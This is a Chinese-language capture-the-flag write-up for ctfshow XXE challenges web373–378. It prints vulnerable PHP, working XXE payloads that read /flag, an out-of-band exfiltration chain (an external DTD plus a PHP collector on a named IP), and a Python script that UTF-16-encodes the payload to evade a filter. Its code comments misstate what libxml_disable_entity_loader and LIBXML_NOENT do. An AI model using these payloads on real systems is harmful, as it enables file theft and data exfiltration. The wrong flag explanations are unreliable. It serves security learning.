ctfshow_web_XXE

web373

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);



  1. libxml_disable_entity_loader(false); 这一行将禁用libxml实体加载器。这是为了防止XML实体注入攻击,确保不会加载外部实体。设置为false表示实体加载器没有被禁用。
  2. $xmlfile = file_get_contents('php://input'); 这一行从php://input读取HTTP请求的主体部分(通常是POST请求的数据),并将其存储在变量$xmlfile中。
  3. if(isset($xmlfile)){ ... } 这一行检查变量$xmlfile是否存在。如果存在,表示成功获取了XML数据。
  4. $dom = new DOMDocument(); 这一行创建了一个新的DOMDocument对象,用于解析XML。
  5. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 这一行使用loadXML方法加载XML数据到DOMDocument对象中。选项LIBXML_NOENTLIBXML_DTDLOAD用于指定加载XML时的一些行为。LIBXML_NOENT用于禁用实体扩展,以防止XXE(XML外部实体)攻击,而LIBXML_DTDLOAD用于允许加载DTD(文档类型定义)。
  6. $creds = simplexml_import_dom($dom); 这一行将DOMDocument对象转换为SimpleXMLElement对象,以便更容易地访问XML数据。
  7. $ctfshow = $creds->ctfshow; 这一行尝试从XML数据中提取名为”ctfshow”的元素的值,并将其存储在变量$ctfshow中。

题解

burpsuite发包,不能用hackbar

利用hackbar抓包修改为POST请求,在原始的包后换行写下payload

payload:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

Screenshot 2023-09-19 174625

Screenshot 2023-09-19 174723

web374

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);



区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看

题解

  • 无回显的文件读取,需要进行外带

利用有公网的服务器创建站点

新建三个文件:xxe.xml,x.php,flag.txt

修改内容

1
2
3
4
5
6
#xxe.xml
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://8.130.42.53/x.php?1=%file;'"
>
%all;

1
2
3
4
5
6
7
8
9
#x.php
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}

然后利用burpsuite发包

payload:

1
2
3
4
5
6
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://8.130.42.53/xxe.xml">
%remote;
%send;
]>

image-20230921220325569

image-20230921220306096

web375

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);



题解

同web374

web376

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:23:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);



题解

同web374

web377

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);



题解

bp之前同374

添加了一些过滤,将payload进行utf-16编码利用python传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = 'http://a3a8bd46-737f-429e-bc0b-bb2a8a0f2e32.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://8.130.42.53/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')

requests.post(url=url, data=payload)


web378

题目

image-20230921223412321

题解

抓包后发现回显是xml

传参payload

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>a</password></user>

image-20230921224011017